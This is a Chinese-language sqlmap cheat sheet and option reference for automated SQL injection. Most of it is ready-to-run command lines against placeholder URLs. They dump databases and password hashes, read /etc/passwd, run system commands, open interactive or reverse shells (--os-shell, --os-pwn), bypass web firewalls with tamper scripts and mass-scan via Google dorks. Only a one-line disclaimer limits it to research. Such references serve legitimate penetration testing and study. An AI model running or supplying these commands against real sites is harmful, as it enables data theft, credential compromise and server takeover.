入门扫盲：http://www.freebuf.com/articles/web/29942.html
简单介绍下sqlmap吧，它是一个自动化的SQL注入工具，其主要功能是扫描，发现并利用给定的URL的SQL注入漏洞。SQLMAP采用四种独特的SQL注入技术，分别是盲推理SQL注入，UNION查询SQL注入，堆查询和基于时间的SQL盲注入。其广泛的功能和选项包括数据库指纹，枚举，数据库提取，访问目标文件系统，并在获取完全操作权限时实行任意命令。
基础用法
|
1 2 3 4 5 6 7 |
./sqlmap.py -u "注入地址" --dbs // 列举数据库 ./sqlmap.py -u "注入地址" --current-db // 当前数据库 ./sqlmap.py -u "注入地址" --users // 列数据库用户 ./sqlmap.py -u "注入地址" --current-user // 当前用户 ./sqlmap.py -u "注入地址" --tables -D "数据库" // 列举数据库的表名 ./sqlmap.py -u "注入地址" --columns -T "表名" -D "数据库" // 获取表的列名 ./sqlmap.py -u "注入地址" --dump -C "字段,字段" -T "表名" -D "数据库" // 获取表中的数据，包含列，就是脱裤 |
信息获取
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
sqlmap -u "http://url/news?id=1" --dbms "Mysql" --users # dbms 指定数据库类型 sqlmap -u "http://url/news?id=1" --users #列数据库用户 sqlmap -u "http://url/news?id=1" --dbs#列数据库 sqlmap -u "http://url/news?id=1" --passwords #数据库用户密码 sqlmap -u "http://url/news?id=1" --passwords -U root -v 0 #列出指定用户数据库密码 sqlmap -u "http://url/news?id=1" --dump -C "password,user,id" -T "tablename" -D "db_name" --start 1 --stop 20 #列出指定字段，列出20条 sqlmap -u "http://url/news?id=1" --dump-all -v 0 #列出所有数据库所有表 sqlmap -u "http://url/news?id=1" --privileges #查看权限 sqlmap -u "http://url/news?id=1" --privileges -U root #查看指定用户权限 sqlmap -u "http://url/news?id=1" --is-dba -v 1 #是否是数据库管理员 sqlmap -u "http://url/news?id=1" --roles #枚举数据库用户角色 sqlmap -u "http://url/news?id=1" --udf-inject #导入用户自定义函数（获取 系统权限！） sqlmap -u "http://url/news?id=1" --dump-all --exclude-sysdbs -v 0 #列 出当前库所有表 sqlmap -u "http://url/news?id=1" --union-cols #union 查询表记录 sqlmap -u "http://url/news?id=1" --cookie "COOKIE_VALUE" #cookie注入 sqlmap -u "http://url/news?id=1" -b #获取banner信息 sqlmap -u "http://url/news?id=1" --data "id=3" #post注入 sqlmap -u "http://url/news?id=1" -v 1 -f #指纹判别数据库类型 sqlmap -u "http://url/news?id=1" --proxy "http://127.0.0.1:8118" #代理注入 sqlmap -u "http://url/news?id=1" --string "STRING_ON_TRUE_PAGE" #指定关键词 sqlmap -u "http://url/news?id=1" --sql-shell #执行指定sql命令 sqlmap -u "http://url/news?id=1" --file /etc/passwd sqlmap -u "http://url/news?id=1" --os-cmd=whoami #执行系统命令 sqlmap -u "http://url/news?id=1" --os-shell #系统交互shell sqlmap -u "http://url/news?id=1" --os-pwn #反弹shell sqlmap -u "http://url/news?id=1" --reg-read #读取win系统注册表 sqlmap -u "http://url/news?id=1" --dbs -o "sqlmap.log" #保存进度 sqlmap -u "http://url/news?id=1" --dbs -o "sqlmap.log" --resume #恢复已保存进度 |
-v参数，详细等级，观察sqlmap对一个点是进行了怎样的尝试判断以及读取数据。
共有七个等级，默认为1：
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
0、只显示python错误以及严重的信息。 1、同时显示基本信息和警告信息。（默认） 2、同时显示debug信息。 3、同时显示注入的payload。 4、同时显示HTTP请求。 5、同时显示HTTP响应头。 6、同时显示HTTP响应页面。 |
使用sqlmap脱裤
–dump参数用来脱裤。拖整个的话加个-all(–dump-all)
脱指定表指定字段：
|
1 |
sqlmap -u "http://xxx/index.php?id=1" --dump -D DBName -T TableName -C "id,username,password" |
脱整个裤：
|
1 |
sqlmap -u "http://xxx/index.php?id=1" -D DBName --dump-all |
知识请仅用于技术研究与学习，不要搞事。
高级用法
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入 sqlmap -g "google语法" --dump-all --batch #google搜索注入点自动跑出所有字段,需保证google.com能正常访问 --technique 测试指定注入类型\使用的技术 不加参数默认测试所有注入技术 • B: 基于布尔的SQL 盲注 • E: 基于显错sql 注入 • U: 基于UNION 注入 • S: 叠层sql 注入 • T: 基于时间盲注 --tamper 通过编码绕过WEB 防火墙（WAF）Sqlmap 默认用char() --tamper 插件所在目录 \sqlmap-dev\tamper sqlmap -u "http:// www.2cto.com /news?id=1" --smart --level 3 --users #smart 智能level执行测试等级 攻击实例: Sqlmap -u "http://url/news?id=1&Submit=Submit" --cookie="xxx" --string="Surname" --dbms=mysql --user --password |
Request（请求）
这些选项可以用来指定如何连接到目标URL。
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
--data=DATA 通过POST 发送的数据字符串 --cookie=COOKIE HTTP Cookie 头 --cookie-urlencode URL 编码生成的cookie 注入 --drop-set-cookie 忽略响应的Set --Cookie 头信息 --user-agent=AGENT 指定 HTTP User --Agent 头 --random-agent 使用随机选定的HTTP User --Agent 头 --referer=REFERER 指定 HTTP Referer 头 --headers=HEADERS 换行分开，加入其他的HTTP 头 --auth-type=ATYPE HTTP 身份验证类型（基本，摘要或NTLM）(Basic, Digest or NTLM) --auth-cred=ACRED HTTP 身份验证凭据（用户名:密码） --auth-cert=ACERT HTTP 认证证书（key_file，cert_file） --proxy=PROXY 使用HTTP 代理连接到目标URL --proxy-cred=PCRED HTTP 代理身份验证凭据（用户名：密码） --ignore-proxy 忽略系统默认的HTTP 代理 --delay=DELAY 在每个HTTP 请求之间的延迟时间，单位为秒 --timeout=TIMEOUT 等待连接超时的时间（默认为30 秒） --retries=RETRIES 连接超时后重新连接的时间（默认3） --scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式 --safe-url=SAFURL 在测试过程中经常访问的url 地址 --safe-freq=SAFREQ 两次访问之间测试请求，给出安全的URL |
Enumeration（枚举）
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外，您还可以运行您自己 的SQL 语句。
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
-b, --banner 检索数据库管理系统的标识 --current-user 检索数据库管理系统当前用户 --current-db 检索数据库管理系统当前数据库 --is-dba 检测DBMS 当前用户是否DBA --users 枚举数据库管理系统用户 --passwords 枚举数据库管理系统用户密码哈希 --privileges 枚举数据库管理系统用户的权限 --roles 枚举数据库管理系统用户的角色 --dbs 枚举数据库管理系统数据库 --tables 枚举的DBMS 数据库中的表 --columns 枚举DBMS 数据库表列 --dump 转储数据库管理系统的数据库中的表项 --dump-all 转储所有的DBMS 数据库表中的条目 --search 搜索列（S），表（S）和/或数据库名称（S） -D DB 要进行枚举的数据库名 -T TBL 要进行枚举的数据库表 -C COL 要进行枚举的数据库列 -U USER 用来进行枚举的数据库用户 --exclude-sysdbs 枚举表时排除系统数据库 --start=LIMITSTART 第一个查询输出进入检索 --stop=LIMITSTOP 最后查询的输出进入检索 --first=FIRSTCHAR 第一个查询输出字的字符检索 --last=LASTCHAR 最后查询的输出字字符检索 --sql-query=QUERY 要执行的SQL 语句 --sql-shell 提示交互式SQL 的shell |
Optimization（优化）
这些选项可用于优化SqlMap 的性能。
|
1 2 3 4 5 6 7 8 9 10 11 |
-o 开启所有优化开关 --predict-output 预测常见的查询输出 --keep-alive 使用持久的HTTP（S）连接 --null-connection 从没有实际的HTTP 响应体中检索页面长度 --threads=THREADS 最大的HTTP（S）请求并发量（默认为1） -p TESTPARAMETER 可测试的参数（S） --dbms=DBMS 强制后端的DBMS 为此值 --os=OS 强制后端的DBMS 操作系统为这个值 --prefix=PREFIX 注入payload 字符串前缀 --suffix=SUFFIX 注入 payload 字符串后缀 --tamper=TAMPER 使用给定的脚本（S）篡改注入数据 |
Detection（检测）
这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。
|
1 2 3 4 5 |
--level=LEVEL 执行测试的等级（1-5，默认为1） --risk=RISK 执行测试的风险（0-3，默认为1） --string=STRING 查询时有效时在页面匹配字符串 --regexp=REGEXP 查询时有效时在页面匹配正则表达式 --text-only 仅基于在文本内容比较网页 |
Techniques（技巧）
这些选项可用于调整具体的SQL 注入测试。
|
1 2 3 4 |
--technique=TECH SQL 注入技术测试（默认BEUST） --time-sec=TIMESEC DBMS 响应的延迟时间（默认为5 秒） --union-cols=UCOLS 定列范围用于测试UNION 查询注入 --union-char=UCHAR 用于暴力猜解列数的字符 |
Fingerprint（指纹）
-f, –fingerprint 执行检查广泛的DBMS 版本指纹
Brute force（蛮力）
这些选项可以被用来运行蛮力检查。
|
1 2 |
--common-tables 检查存在共同表 --common-columns 检查存在共同列 |
User-defined function injection（用户自定义函数注入）
这些选项可以用来创建用户自定义函数。
|
1 2 |
--udf-inject 注入用户自定义函数 --shared-lib=SHLIB 共享库的本地路径 |
File system access（访问文件系统）
这些选项可以被用来访问后端数据库管理系统的底层文件系统。
|
1 2 3 |
--file-read=RFILE 从后端的数据库管理系统文件系统读取文件 --file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 --file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径 |
Operating system access（操作系统访问）
这些选项可以用于访问后端数据库管理系统的底层操作系统。
|
1 2 3 4 5 6 7 |
--os-shell 交互式的操作系统的shell --os-pwn 获取一个OOB shell，meterpreter 或VNC --os-smbrelay 一键获取一个OOB shell，meterpreter 或VNC --os-bof 存储过程缓冲区溢出利用 --priv-esc 数据库进程用户权限提升 --msf-path=MSFPATH Metasploit Framework 本地的安装路径 --tmp-path=TMPPATH 远程临时文件目录的绝对路径 |
Windows 注册表访问
这些选项可以被用来访问后端数据库管理系统Windows 注册表。
|
1 2 3 4 5 6 7 |
--reg-read 读一个Windows 注册表项值 --reg-add 写一个Windows 注册表项值数据 --reg-del 删除Windows 注册表键值 --reg-key=REGKEY Windows 注册表键 --reg-value=REGVAL Windows 注册表项值 --reg-data=REGDATA Windows 注册表键值数据 --reg-type=REGTYPE Windows 注册表项值类型 |
General（一般）
这些选项可以用来设置一些一般的工作参数。
|
1 2 3 4 5 6 7 8 |
-t TRAFFICFILE 记录所有HTTP 流量到一个文本文件中 -s SESSIONFILE 保存和恢复检索会话文件的所有数据 --flush-session 刷新当前目标的会话文件 --fresh-queries 忽略在会话文件中存储的查询结果 --eta 显示每个输出的预计到达时间 --update 更新SqlMap --save file 保存选项到INI 配置文件 --batch 从不询问用户输入，使用所有默认配置。 |
Miscellaneous（杂项）
|
1 2 3 4 5 6 7 8 9 10 |
--beep 发现SQL 注入时提醒 --check-payload IDS 对注入payloads 的检测测试 --cleanup SqlMap 具体的UDF 和表清理DBMS --forms 对目标URL 的解析和测试形式 --gpage=GOOGLEPAGE 从指定的页码使用谷歌dork 结果 --page-rank Google dork 结果显示网页排名（PR） --parse-errors 从响应页面解析数据库管理系统的错误消息 --replicate 复制转储的数据到一个sqlite3 数据库 --tor 使用默认的Tor（Vidalia/ Privoxy/ Polipo）代理地址 --wizard 给初级用户的简单向导界面 |
